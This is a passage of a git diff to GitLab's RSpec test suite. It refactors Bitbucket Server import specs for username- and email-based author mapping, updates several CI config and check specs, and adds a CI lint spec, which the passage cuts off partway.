diff --git a/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb b/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
index 5eb27c51f9e..80ec5ec1fc7 100644
--- a/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
+++ b/spec/lib/gitlab/bitbucket_server_import/importer_spec.rb
@@ -6,9 +6,10 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
include ImportSpecHelper
let(:import_url) { 'http://my-bitbucket' }
- let(:user) { 'bitbucket' }
+ let(:bitbucket_user) { 'bitbucket' }
+ let(:project_creator) { create(:user, username: 'project_creator', email: 'project_creator@example.org') }
let(:password) { 'test' }
- let(:project) { create(:project, :repository, import_url: import_url) }
+ let(:project) { create(:project, :repository, import_url: import_url, creator: project_creator) }
let(:now) { Time.now.utc.change(usec: 0) }
let(:project_key) { 'TEST' }
let(:repo_slug) { 'rouge' }
@@ -19,7 +20,7 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
before do
data = project.create_or_update_import_data(
data: { project_key: project_key, repo_slug: repo_slug },
- credentials: { base_uri: import_url, user: user, password: password }
+ credentials: { base_uri: import_url, user: bitbucket_user, password: password }
)
data.save
project.save
@@ -51,12 +52,11 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
end
describe '#import_pull_requests' do
- before do
- allow(subject).to receive(:import_repository)
- allow(subject).to receive(:delete_temp_branches)
- allow(subject).to receive(:restore_branches)
+ let(:pull_request_author) { create(:user, username: 'pull_request_author', email: 'pull_request_author@example.org') }
+ let(:note_author) { create(:user, username: 'note_author', email: 'note_author@example.org') }
- pull_request = instance_double(
+ let(:pull_request) do
+ instance_double(
BitbucketServer::Representation::PullRequest,
iid: 10,
source_branch_sha: sample.commits.last,
@@ -67,65 +67,172 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
description: 'This is a test pull request',
state: 'merged',
author: 'Test Author',
- author_email: project.owner.email,
+ author_email: pull_request_author.email,
+ author_username: pull_request_author.username,
created_at: Time.now,
updated_at: Time.now,
raw: {},
merged?: true)
+ end
- allow(subject.client).to receive(:pull_requests).and_return([pull_request])
-
- @merge_event = instance_double(
+ let(:merge_event) do
+ instance_double(
BitbucketServer::Representation::Activity,
comment?: false,
merge_event?: true,
- committer_email: project.owner.email,
+ committer_email: pull_request_author.email,
merge_timestamp: now,
merge_commit: '12345678'
)
+ end
- @pr_note = instance_double(
+ let(:pr_note) do
+ instance_double(
BitbucketServer::Representation::Comment,
note: 'Hello world',
- author_email: 'unknown@gmail.com',
- author_username: 'The Flash',
+ author_email: note_author.email,
+ author_username: note_author.username,
comments: [],
created_at: now,
updated_at: now,
parent_comment: nil)
+ end
- @pr_comment = instance_double(
+ let(:pr_comment) do
+ instance_double(
BitbucketServer::Representation::Activity,
comment?: true,
inline_comment?: false,
merge_event?: false,
- comment: @pr_note)
+ comment: pr_note)
+ end
+
+ before do
+ allow(subject).to receive(:import_repository)
+ allow(subject).to receive(:delete_temp_branches)
+ allow(subject).to receive(:restore_branches)
+
+ allow(subject.client).to receive(:pull_requests).and_return([pull_request])
end
it 'imports merge event' do
- expect(subject.client).to receive(:activities).and_return([@merge_event])
+ expect(subject.client).to receive(:activities).and_return([merge_event])
expect { subject.execute }.to change { MergeRequest.count }.by(1)
merge_request = MergeRequest.first
- expect(merge_request.metrics.merged_by).to eq(project.owner)
- expect(merge_request.metrics.merged_at).to eq(@merge_event.merge_timestamp)
+ expect(merge_request.metrics.merged_by).to eq(pull_request_author)
+ expect(merge_request.metrics.merged_at).to eq(merge_event.merge_timestamp)
expect(merge_request.merge_commit_sha).to eq('12345678')
expect(merge_request.state_id).to eq(3)
end
- it 'imports comments' do
- expect(subject.client).to receive(:activities).and_return([@pr_comment])
+ describe 'pull request author user mapping' do
+ before do
+ allow(subject.client).to receive(:activities).and_return([merge_event])
+ end
- expect { subject.execute }.to change { MergeRequest.count }.by(1)
+ shared_examples 'imports pull requests' do
+ it 'maps user' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
- merge_request = MergeRequest.first
- expect(merge_request.notes.count).to eq(1)
- note = merge_request.notes.first
- expect(note.note).to end_with(@pr_note.note)
- expect(note.author).to eq(project.owner)
- expect(note.created_at).to eq(@pr_note.created_at)
- expect(note.updated_at).to eq(@pr_note.created_at)
+ merge_request = MergeRequest.first
+ expect(merge_request.author).to eq(pull_request_author)
+ end
+ end
+
+ context 'when bitbucket_server_user_mapping_by_username feature flag is disabled' do
+ before do
+ stub_feature_flags(bitbucket_server_user_mapping_by_username: false)
+ end
+
+ include_examples 'imports pull requests'
+ end
+
+ context 'when bitbucket_server_user_mapping_by_username feature flag is enabled' do
+ before do
+ stub_feature_flags(bitbucket_server_user_mapping_by_username: true)
+ end
+
+ include_examples 'imports pull requests' do
+ context 'when username is not present' do
+ before do
+ allow(pull_request).to receive(:author_username).and_return(nil)
+ end
+
+ it 'maps by email' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ merge_request = MergeRequest.first
+ expect(merge_request.author).to eq(pull_request_author)
+ end
+ end
+ end
+ end
+
+ context 'when user is not found' do
+ before do
+ allow(pull_request).to receive(:author_username).and_return(nil)
+ allow(pull_request).to receive(:author_email).and_return(nil)
+ end
+
+ it 'maps importer user' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ merge_request = MergeRequest.first
+ expect(merge_request.author).to eq(project_creator)
+ end
+ end
+ end
+
+ describe 'comments' do
+ shared_examples 'imports comments' do
+ it 'imports comments' do
+ expect(subject.client).to receive(:activities).and_return([pr_comment])
+
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ merge_request = MergeRequest.first
+ expect(merge_request.notes.count).to eq(1)
+ note = merge_request.notes.first
+ expect(note.note).to end_with(pr_note.note)
+ expect(note.author).to eq(note_author)
+ expect(note.created_at).to eq(pr_note.created_at)
+ expect(note.updated_at).to eq(pr_note.created_at)
+ end
+ end
+
+ context 'when bitbucket_server_user_mapping_by_username feature flag is disabled' do
+ before do
+ stub_feature_flags(bitbucket_server_user_mapping_by_username: false)
+ end
+
+ include_examples 'imports comments'
+ end
+
+ context 'when bitbucket_server_user_mapping_by_username feature flag is enabled' do
+ before do
+ stub_feature_flags(bitbucket_server_user_mapping_by_username: true)
+ end
+
+ include_examples 'imports comments'
+
+ context 'when username is not present' do
+ before do
+ allow(pr_note).to receive(:author_username).and_return(nil)
+ allow(subject.client).to receive(:activities).and_return([pr_comment])
+ end
+
+ it 'maps by email' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ merge_request = MergeRequest.first
+ expect(merge_request.notes.count).to eq(1)
+ note = merge_request.notes.first
+ expect(note.author).to eq(note_author)
+ end
+ end
+ end
end
context 'metrics' do
@@ -135,7 +242,7 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
before do
allow(Gitlab::Metrics).to receive(:counter) { counter }
allow(Gitlab::Metrics).to receive(:histogram) { histogram }
- allow(subject.client).to receive(:activities).and_return([@merge_event])
+ allow(subject.client).to receive(:activities).and_return([merge_event])
end
it 'counts and measures duration of imported projects' do
@@ -170,73 +277,137 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
end
end
- it 'imports threaded discussions' do
- reply = instance_double(
- BitbucketServer::Representation::PullRequestComment,
- author_email: 'someuser@gitlab.com',
- author_username: 'Batman',
- note: 'I agree',
- created_at: now,
- updated_at: now)
+ describe 'threaded discussions' do
+ let(:reply_author) { create(:user, username: 'reply_author', email: 'reply_author@example.org') }
+ let(:inline_note_author) { create(:user, username: 'inline_note_author', email: 'inline_note_author@example.org') }
+
+ let(:reply) do
+ instance_double(
+ BitbucketServer::Representation::PullRequestComment,
+ author_email: reply_author.email,
+ author_username: reply_author.username,
+ note: 'I agree',
+ created_at: now,
+ updated_at: now)
+ end
# https://gitlab.com/gitlab-org/gitlab-test/compare/c1acaa58bbcbc3eafe538cb8274ba387047b69f8...5937ac0a7beb003549fc5fd26fc247ad
- inline_note = instance_double(
- BitbucketServer::Representation::PullRequestComment,
- file_type: 'ADDED',
- from_sha: sample.commits.first,
- to_sha: sample.commits.last,
- file_path: '.gitmodules',
- old_pos: nil,
- new_pos: 4,
- note: 'Hello world',
- author_email: 'unknown@gmail.com',
- author_username: 'Superman',
- comments: [reply],
- created_at: now,
- updated_at: now,
- parent_comment: nil)
+ let(:inline_note) do
+ instance_double(
+ BitbucketServer::Representation::PullRequestComment,
+ file_type: 'ADDED',
+ from_sha: sample.commits.first,
+ to_sha: sample.commits.last,
+ file_path: '.gitmodules',
+ old_pos: nil,
+ new_pos: 4,
+ note: 'Hello world',
+ author_email: inline_note_author.email,
+ author_username: inline_note_author.username,
+ comments: [reply],
+ created_at: now,
+ updated_at: now,
+ parent_comment: nil)
+ end
- allow(reply).to receive(:parent_comment).and_return(inline_note)
+ let(:inline_comment) do
+ instance_double(
+ BitbucketServer::Representation::Activity,
+ comment?: true,
+ inline_comment?: true,
+ merge_event?: false,
+ comment: inline_note)
+ end
- inline_comment = instance_double(
- BitbucketServer::Representation::Activity,
- comment?: true,
- inline_comment?: true,
- merge_event?: false,
- comment: inline_note)
+ before do
+ allow(reply).to receive(:parent_comment).and_return(inline_note)
+ allow(subject.client).to receive(:activities).and_return([inline_comment])
+ end
- expect(subject.client).to receive(:activities).and_return([inline_comment])
+ shared_examples 'imports threaded discussions' do
+ it 'imports threaded discussions' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ merge_request = MergeRequest.first
+ expect(merge_request.notes.count).to eq(2)
+ expect(merge_request.notes.map(&:discussion_id).uniq.count).to eq(1)
+
+ notes = merge_request.notes.order(:id).to_a
+ start_note = notes.first
+ expect(start_note.type).to eq('DiffNote')
+ expect(start_note.note).to end_with(inline_note.note)
+ expect(start_note.created_at).to eq(inline_note.created_at)
+ expect(start_note.updated_at).to eq(inline_note.updated_at)
+ expect(start_note.position.base_sha).to eq(inline_note.from_sha)
+ expect(start_note.position.start_sha).to eq(inline_note.from_sha)
+ expect(start_note.position.head_sha).to eq(inline_note.to_sha)
+ expect(start_note.position.old_line).to be_nil
+ expect(start_note.position.new_line).to eq(inline_note.new_pos)
+ expect(start_note.author).to eq(inline_note_author)
+
+ reply_note = notes.last
+ # Make sure author and reply context is included
+ expect(reply_note.note).to start_with("> #{inline_note.note}\n\n#{reply.note}")
+ expect(reply_note.author).to eq(reply_author)
+ expect(reply_note.created_at).to eq(reply.created_at)
+ expect(reply_note.updated_at).to eq(reply.created_at)
+ expect(reply_note.position.base_sha).to eq(inline_note.from_sha)
+ expect(reply_note.position.start_sha).to eq(inline_note.from_sha)
+ expect(reply_note.position.head_sha).to eq(inline_note.to_sha)
+ expect(reply_note.position.old_line).to be_nil
+ expect(reply_note.position.new_line).to eq(inline_note.new_pos)
+ end
+ end
- expect { subject.execute }.to change { MergeRequest.count }.by(1)
+ context 'when bitbucket_server_user_mapping_by_username feature flag is disabled' do
+ before do
+ stub_feature_flags(bitbucket_server_user_mapping_by_username: false)
+ end
- merge_request = MergeRequest.first
- expect(merge_request.notes.count).to eq(2)
- expect(merge_request.notes.map(&:discussion_id).uniq.count).to eq(1)
-
- notes = merge_request.notes.order(:id).to_a
- start_note = notes.first
- expect(start_note.type).to eq('DiffNote')
- expect(start_note.note).to end_with(inline_note.note)
- expect(start_note.created_at).to eq(inline_note.created_at)
- expect(start_note.updated_at).to eq(inline_note.updated_at)
- expect(start_note.position.base_sha).to eq(inline_note.from_sha)
- expect(start_note.position.start_sha).to eq(inline_note.from_sha)
- expect(start_note.position.head_sha).to eq(inline_note.to_sha)
- expect(start_note.position.old_line).to be_nil
- expect(start_note.position.new_line).to eq(inline_note.new_pos)
-
- reply_note = notes.last
- # Make sure author and reply context is included
- expect(reply_note.note).to start_with("*By #{reply.author_username} (#{reply.author_email})*\n\n")
- expect(reply_note.note).to end_with("> #{inline_note.note}\n\n#{reply.note}")
- expect(reply_note.author).to eq(project.owner)
- expect(reply_note.created_at).to eq(reply.created_at)
- expect(reply_note.updated_at).to eq(reply.created_at)
- expect(reply_note.position.base_sha).to eq(inline_note.from_sha)
- expect(reply_note.position.start_sha).to eq(inline_note.from_sha)
- expect(reply_note.position.head_sha).to eq(inline_note.to_sha)
- expect(reply_note.position.old_line).to be_nil
- expect(reply_note.position.new_line).to eq(inline_note.new_pos)
+ include_examples 'imports threaded discussions'
+ end
+
+ context 'when bitbucket_server_user_mapping_by_username feature flag is enabled' do
+ before do
+ stub_feature_flags(bitbucket_server_user_mapping_by_username: true)
+ end
+
+ include_examples 'imports threaded discussions' do
+ context 'when username is not present' do
+ before do
+ allow(reply).to receive(:author_username).and_return(nil)
+ allow(inline_note).to receive(:author_username).and_return(nil)
+ end
+
+ it 'maps by email' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ notes = MergeRequest.first.notes.order(:id).to_a
+
+ expect(notes.first.author).to eq(inline_note_author)
+ expect(notes.last.author).to eq(reply_author)
+ end
+ end
+ end
+ end
+
+ context 'when user is not found' do
+ before do
+ allow(reply).to receive(:author_username).and_return(nil)
+ allow(reply).to receive(:author_email).and_return(nil)
+ allow(inline_note).to receive(:author_username).and_return(nil)
+ allow(inline_note).to receive(:author_email).and_return(nil)
+ end
+
+ it 'maps importer user' do
+ expect { subject.execute }.to change { MergeRequest.count }.by(1)
+
+ notes = MergeRequest.first.notes.order(:id).to_a
+
+ expect(notes.first.author).to eq(project_creator)
+ expect(notes.last.author).to eq(project_creator)
+ end
+ end
end
it 'falls back to comments if diff comments fail to validate' do
@@ -312,6 +483,7 @@ RSpec.describe Gitlab::BitbucketServerImport::Importer do
state: 'merged',
author: 'Test Author',
author_email: project.owner.email,
+ author_username: 'author',
created_at: Time.now,
updated_at: Time.now,
merged?: true)
diff --git a/spec/lib/gitlab/checks/lfs_integrity_spec.rb b/spec/lib/gitlab/checks/lfs_integrity_spec.rb
index 8fec702790c..4583cd72cfd 100644
--- a/spec/lib/gitlab/checks/lfs_integrity_spec.rb
+++ b/spec/lib/gitlab/checks/lfs_integrity_spec.rb
@@ -57,25 +57,5 @@ RSpec.describe Gitlab::Checks::LfsIntegrity do
expect(subject.objects_missing?).to be_falsey
end
end
-
- context 'for forked project', :sidekiq_might_not_need_inline do
- let(:parent_project) { create(:project, :repository) }
- let(:project) { fork_project(parent_project, nil, repository: true) }
-
- before do
- allow(project).to receive(:lfs_enabled?).and_return(true)
- end
-
- it 'is true parent project is missing LFS objects' do
- expect(subject.objects_missing?).to be_truthy
- end
-
- it 'is false parent project already contains LFS objects for the fork' do
- lfs_object = create(:lfs_object, oid: blob_object.lfs_oid)
- create(:lfs_objects_project, project: parent_project, lfs_object: lfs_object)
-
- expect(subject.objects_missing?).to be_falsey
- end
- end
end
end
diff --git a/spec/lib/gitlab/checks/project_moved_spec.rb b/spec/lib/gitlab/checks/project_moved_spec.rb
index e15fa90443b..c7dad0a91d4 100644
--- a/spec/lib/gitlab/checks/project_moved_spec.rb
+++ b/spec/lib/gitlab/checks/project_moved_spec.rb
@@ -57,12 +57,12 @@ RSpec.describe Gitlab::Checks::ProjectMoved, :clean_gitlab_redis_shared_state do
shared_examples 'returns redirect message' do
it do
message = <<~MSG
- Project '#{redirect_path}' was moved to '#{project.full_path}'.
+ Project '#{redirect_path}' was moved to '#{project.full_path}'.
- Please update your Git remote:
+ Please update your Git remote:
- git remote set-url origin #{url_to_repo}
- MSG
+ git remote set-url origin #{url_to_repo}
+ MSG
expect(subject.message).to eq(message)
end
diff --git a/spec/lib/gitlab/checks/snippet_check_spec.rb b/spec/lib/gitlab/checks/snippet_check_spec.rb
index 2c027486bc9..037de8e9369 100644
--- a/spec/lib/gitlab/checks/snippet_check_spec.rb
+++ b/spec/lib/gitlab/checks/snippet_check_spec.rb
@@ -5,10 +5,12 @@ require 'spec_helper'
RSpec.describe Gitlab::Checks::SnippetCheck do
include_context 'change access checks context'
- let(:snippet) { create(:personal_snippet, :repository) }
+ let_it_be(:snippet) { create(:personal_snippet, :repository) }
+
let(:user_access) { Gitlab::UserAccessSnippet.new(user, snippet: snippet) }
+ let(:default_branch) { snippet.default_branch }
- subject { Gitlab::Checks::SnippetCheck.new(changes, logger: logger) }
+ subject { Gitlab::Checks::SnippetCheck.new(changes, default_branch: default_branch, logger: logger) }
describe '#validate!' do
it 'does not raise any error' do
@@ -39,5 +41,13 @@ RSpec.describe Gitlab::Checks::SnippetCheck do
end
end
end
+
+ context 'when default_branch is nil' do
+ let(:default_branch) { nil }
+
+ it 'raises an error' do
+ expect { subject.validate! }.to raise_error(Gitlab::GitAccess::ForbiddenError, 'You can not create or delete branches.')
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/ci/artifact_file_reader_spec.rb b/spec/lib/gitlab/ci/artifact_file_reader_spec.rb
index e982f0eb015..83a37655ea9 100644
--- a/spec/lib/gitlab/ci/artifact_file_reader_spec.rb
+++ b/spec/lib/gitlab/ci/artifact_file_reader_spec.rb
@@ -18,6 +18,17 @@ RSpec.describe Gitlab::Ci::ArtifactFileReader do
expect(YAML.safe_load(subject).keys).to contain_exactly('rspec', 'time', 'custom')
end
+ context 'when FF ci_new_artifact_file_reader is disabled' do
+ before do
+ stub_feature_flags(ci_new_artifact_file_reader: false)
+ end
+
+ it 'returns the content at the path' do
+ is_expected.to be_present
+ expect(YAML.safe_load(subject).keys).to contain_exactly('rspec', 'time', 'custom')
+ end
+ end
+
context 'when path does not exist' do
let(:path) { 'file/does/not/exist.txt' }
let(:expected_error) do
diff --git a/spec/lib/gitlab/ci/config/entry/job_spec.rb b/spec/lib/gitlab/ci/config/entry/job_spec.rb
index ca02eaee0a0..ab760b107f8 100644
--- a/spec/lib/gitlab/ci/config/entry/job_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/job_spec.rb
@@ -74,16 +74,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it { is_expected.to be_falsey }
end
- context 'when config does not contain script' do
- let(:name) { :build }
-
- let(:config) do
- { before_script: "cd ${PROJ_DIR} " }
- end
-
- it { is_expected.to be_truthy }
- end
-
context 'when using the default job without script' do
let(:name) { :default }
let(:config) do
@@ -104,14 +94,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Job do
it { is_expected.to be_truthy }
end
-
- context 'there are no shared keys between jobs and bridges' do
- subject(:shared_values) do
- described_class::ALLOWED_KEYS & Gitlab::Ci::Config::Entry::Bridge::ALLOWED_KEYS
- end
-
- it { is_expected.to be_empty }
- end
end
describe 'validations' do
diff --git a/spec/lib/gitlab/ci/config/entry/jobs_spec.rb b/spec/lib/gitlab/ci/config/entry/jobs_spec.rb
index 8561bd330b7..ac6b589ec6b 100644
--- a/spec/lib/gitlab/ci/config/entry/jobs_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/jobs_spec.rb
@@ -68,7 +68,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Jobs do
let(:config) { { rspec: nil } }
it 'reports error' do
- expect(entry.errors).to include "jobs config should contain valid jobs"
+ expect(entry.errors).to include 'jobs rspec config should implement a script: or a trigger: keyword'
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/root_spec.rb b/spec/lib/gitlab/ci/config/entry/root_spec.rb
index 140b3c4f55b..252bda6461d 100644
--- a/spec/lib/gitlab/ci/config/entry/root_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/root_spec.rb
@@ -344,9 +344,9 @@ RSpec.describe Gitlab::Ci::Config::Entry::Root do
end
describe '#errors' do
- it 'reports errors about missing script' do
+ it 'reports errors about missing script or trigger' do
expect(root.errors)
- .to include "root config contains unknown keys: rspec"
+ .to include 'jobs rspec config should implement a script: or a trigger: keyword'
end
end
end
diff --git a/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb b/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb
index bab604c4504..fbf86927bd9 100644
--- a/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb
+++ b/spec/lib/gitlab/ci/config/normalizer/matrix_strategy_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
expect(subject.map(&:attributes)).to match_array(
[
{
- name: 'test 1/4',
+ name: 'test: [aws, app1]',
instance: 1,
parallel: { total: 4 },
variables: {
@@ -52,7 +52,7 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
}
},
{
- name: 'test 2/4',
+ name: 'test: [aws, app2]',
instance: 2,
parallel: { total: 4 },
variables: {
@@ -61,7 +61,7 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
}
},
{
- name: 'test 3/4',
+ name: 'test: [ovh, app]',
instance: 3,
parallel: { total: 4 },
variables: {
@@ -70,7 +70,7 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
}
},
{
- name: 'test 4/4',
+ name: 'test: [gcp, app]',
instance: 4,
parallel: { total: 4 },
variables: {
@@ -84,18 +84,7 @@ RSpec.describe Gitlab::Ci::Config::Normalizer::MatrixStrategy do
it 'has parallelized name' do
expect(subject.map(&:name)).to match_array(
- ['test 1/4', 'test 2/4', 'test 3/4', 'test 4/4']
- )
- end
-
- it 'has details' do
- expect(subject.map(&:name_with_details)).to match_array(
- [
- 'test (PROVIDER=aws; STACK=app1)',
- 'test (PROVIDER=aws; STACK=app2)',
- 'test (PROVIDER=gcp; STACK=app)',
- 'test (PROVIDER=ovh; STACK=app)'
- ]
+ ['test: [aws, app1]', 'test: [aws, app2]', 'test: [gcp, app]', 'test: [ovh, app]']
)
end
end
diff --git a/spec/lib/gitlab/ci/config/normalizer_spec.rb b/spec/lib/gitlab/ci/config/normalizer_spec.rb
index 949af8cdc4c..4c19657413c 100644
--- a/spec/lib/gitlab/ci/config/normalizer_spec.rb
+++ b/spec/lib/gitlab/ci/config/normalizer_spec.rb
@@ -178,8 +178,8 @@ RSpec.describe Gitlab::Ci::Config::Normalizer do
{
matrix: [
{
- VAR_1: [1],
- VAR_2: [2, 3]
+ VAR_1: ['A'],
+ VAR_2: %w[B C]
}
]
}
@@ -187,8 +187,8 @@ RSpec.describe Gitlab::Ci::Config::Normalizer do
let(:expanded_job_names) do
[
- 'rspec 1/2',
- 'rspec 2/2'
+ 'rspec: [A, B]',
+ 'rspec: [A, C]'
]
end
@@ -196,21 +196,17 @@ RSpec.describe Gitlab::Ci::Config::Normalizer do
is_expected.not_to include(job_name)
end
- it 'has parallelized jobs' do
- is_expected.to include(*expanded_job_names.map(&:to_sym))
- end
-
it 'sets job instance in options' do
expect(subject.values).to all(include(:instance))
end
it 'sets job variables', :aggregate_failures do
expect(subject.values[0]).to match(
- a_hash_including(variables: { VAR_1: 1, VAR_2: 2, USER_VARIABLE: 'user value' })
+ a_hash_including(variables: { VAR_1: 'A', VAR_2: 'B', USER_VARIABLE: 'user value' })
)
expect(subject.values[1]).to match(
- a_hash_including(variables: { VAR_1: 1, VAR_2: 3, USER_VARIABLE: 'user value' })
+ a_hash_including(variables: { VAR_1: 'A', VAR_2: 'C', USER_VARIABLE: 'user value' })
)
end
@@ -226,6 +222,10 @@ RSpec.describe Gitlab::Ci::Config::Normalizer do
expect(configs).to all(match(a_hash_including(original_config)))
end
+ it 'has parallelized jobs' do
+ is_expected.to include(*expanded_job_names.map(&:to_sym))
+ end
+
it_behaves_like 'parallel dependencies'
it_behaves_like 'parallel needs'
end
@@ -238,5 +238,11 @@ RSpec.describe Gitlab::Ci::Config::Normalizer do
is_expected.to match(config)
end
end
+
+ context 'when jobs config is nil' do
+ let(:config) { nil }
+
+ it { is_expected.to eq({}) }
+ end
end
end
diff --git a/spec/lib/gitlab/ci/config_spec.rb b/spec/lib/gitlab/ci/config_spec.rb
index 18be9558829..41a45fe4ab7 100644
--- a/spec/lib/gitlab/ci/config_spec.rb
+++ b/spec/lib/gitlab/ci/config_spec.rb
@@ -312,7 +312,7 @@ RSpec.describe Gitlab::Ci::Config do
HEREDOC
end
- it 'raises error YamlProcessor validationError' do
+ it 'raises ConfigError' do
expect { config }.to raise_error(
described_class::ConfigError,
"Included file `invalid` does not have YAML extension!"
@@ -329,7 +329,7 @@ RSpec.describe Gitlab::Ci::Config do
HEREDOC
end
- it 'raises error YamlProcessor validationError' do
+ it 'raises ConfigError' do
expect { config }.to raise_error(
described_class::ConfigError,
'Include `{"remote":"http://url","local":"/local/file.yml"}` needs to match exactly one accessor!'
diff --git a/spec/lib/gitlab/ci/jwt_spec.rb b/spec/lib/gitlab/ci/jwt_spec.rb
index a15f3310dab..9b133efad9c 100644
--- a/spec/lib/gitlab/ci/jwt_spec.rb
+++ b/spec/lib/gitlab/ci/jwt_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Gitlab::Ci::Jwt do
subject(:payload) { described_class.new(build, ttl: 30).payload }
it 'has correct values for the standard JWT attributes' do
- Timecop.freeze do
+ freeze_time do
now = Time.now.to_i
aggregate_failures do
diff --git a/spec/lib/gitlab/ci/lint_spec.rb b/spec/lib/gitlab/ci/lint_spec.rb
new file mode 100644
index 00000000000..077c0fd3162
--- /dev/null
+++ b/spec/lib/gitlab/ci/lint_spec.rb
@@ -0,0 +1,251 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Lint do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ let(:lint) { described_class.new(project: project, current_user: user) }
+
+ describe '#validate' do
+ subject { lint.validate(content, dry_run: dry_run) }
+
+ shared_examples 'content is valid' do
+ let(:content) do
+ <<~YAML
+ build:
+ stage: build
+ before_script:
+ - before_build
+ script: echo
+ environment: staging
+ when: manual
+ rspec:
+ stage: test
+ script: rspec
+ after_script:
+ - after_rspec
+ tags: [docker]
+ YAML
+ end
+
+ it 'returns a valid result', :aggregate_failures do
+ expect(subject).to be_valid
+
+ expect(subject.errors).to be_empty
+ expect(subject.warnings).to be_empty
+ expect(subject.jobs).to be_present
+
+ build_job = subject.jobs.first
+ expect(build_job[:name]).to eq('build')
+ expect(build_job[:stage]).to eq('build')
+ expect(build_job[:before_script]).to eq(['before_build'])
+ expect(build_job[:script]).to eq(['echo'])
+ expect(build_job.fetch(:after_script)).to eq([])
+ expect(build_job[:tag_list]).to eq([])
+ expect(build_job[:environment]).to eq('staging')
+ expect(build_job[:when]).to eq('manual')
+ expect(build_job[:allow_failure]).to eq(true)
+
+ rspec_job = subject.jobs.last
+ expect(rspec_job[:name]).to eq('rspec')
+ expect(rspec_job[:stage]).to eq('test')
+ expect(rspec_job.fetch(:before_script)).to eq([])
+ expect(rspec_job[:script]).to eq(['rspec'])
+ expect(rspec_job[:after_script]).to eq(['after_rspec'])
+ expect(rspec_job[:tag_list]).to eq(['docker'])
+ expect(rspec_job.fetch(:environment)).to be_nil
+ expect(rspec_job[:when]).to eq('on_success')
+ expect(rspec_job[:allow_failure]).to eq(false)
+ end
+ end
+
+ shared_examples 'content with errors and warnings' do
+ context 'when content has errors' do
+ let(:content) do
+ <<~YAML
+ build:
+ invalid: syntax
+ YAML
+ end
+
+ it 'returns a result with errors' do
+ expect(subject).not_to be_valid
+ expect(subject.errors).to include(/jobs build config should implement a script: or a trigger: keyword/)
+ end
+ end
+
+ context 'when content has warnings' do
+ let(:content) do
+ <<~YAML
+ rspec:
+ script: rspec
+ rules:
+ - when: always
+ YAML
+ end
+
+ it 'returns a result with warnings' do
+ expect(subject).to be_valid
+ expect(subject.warnings).to include(/rspec may allow multiple pipelines to run/)
+ end
+ end
+
+ context 'when content has more warnings than max limit' do
+ # content will result in 2 warnings
+ let(:content) do
+ <<~YAML
+ rspec:
+ script: rspec
+ rules:
+ - when: always
+ rspec2:
+ script: rspec
+ rules:
+ - when: always
+ YAML
+ end
+
+ before do
+ stub_const('Gitlab::Ci::Warnings::MAX_LIMIT', 1)
+ end
+
+ it 'returns a result with warnings' do
+ expect(subject).to be_valid
+ expect(subject.warnings.size).to eq(1)
+ end
+ end
+
+ context 'when content has errors and warnings' do
+ let(:content) do
+ <<~YAML
+ rspec:
+ script: rspec
+ rules:
+ - when: always
+ karma:
+ script: karma
+ unknown: key
+ YAML
+ end
+
+ it 'returns a result with errors and warnings' do
+ expect(subject).not_to be_valid
+ expect(subject.errors).to include(/karma config contains unknown keys/)
+ expect(subject.warnings).to include(/rspec may allow multiple pipelines to run/)
+ end
+ end
+ end
+
+ shared_context 'advanced validations' do
+ let(:content) do
+ <<~YAML
+ build:
+ stage: build
+ script: echo
+ rules:
+ - if: '$CI_MERGE_REQUEST_ID'
+ test:
+ stage: test
+ script: echo
+ needs: [build]
+ YAML
+ end
+ end
+
+ context 'when user has permissions to write the ref' do
+ before do
+ project.add_developer(user)
+ end
+
+ context 'when using default static mode' do
+ let(:dry_run) { false }
+
+ it_behaves_like 'content with errors and warnings'
+
+ it_behaves_like 'content is valid' do
+ it 'includes extra attributes' do
+ subject.jobs.each do |job|
+ expect(job[:only]).to eq(refs: %w[branches tags])
+ expect(job.fetch(:except)).to be_nil
+ end
+ end
+ end
+
+ include_context 'advanced validations' do
+ it 'does not catch advanced logical errors' do
+ expect(subject).to be_valid
+ expect(subject.errors).to be_empty
+ end
+ end
+
+ it 'uses YamlProcessor' do
+ expect(Gitlab::Ci::YamlProcessor)
+ .to receive(:new)
+ .and_call_original
+
+ subject
+ end
+ end
+
+ context 'when using dry run mode' do
+ let(:dry_run) { true }
+
+ it_behaves_like 'content with errors and warnings'
+
+ it_behaves_like 'content is valid' do
+ it 'does not include extra attributes' do
+ subject.jobs.each do |job|
+ expect(job.key?(:only)).to be_falsey
+ expect(job.key?(:except)).to be_falsey
+ end
+ end
+ end
+
+ include_context 'advanced validations' do
+ it 'runs advanced logical validations' do
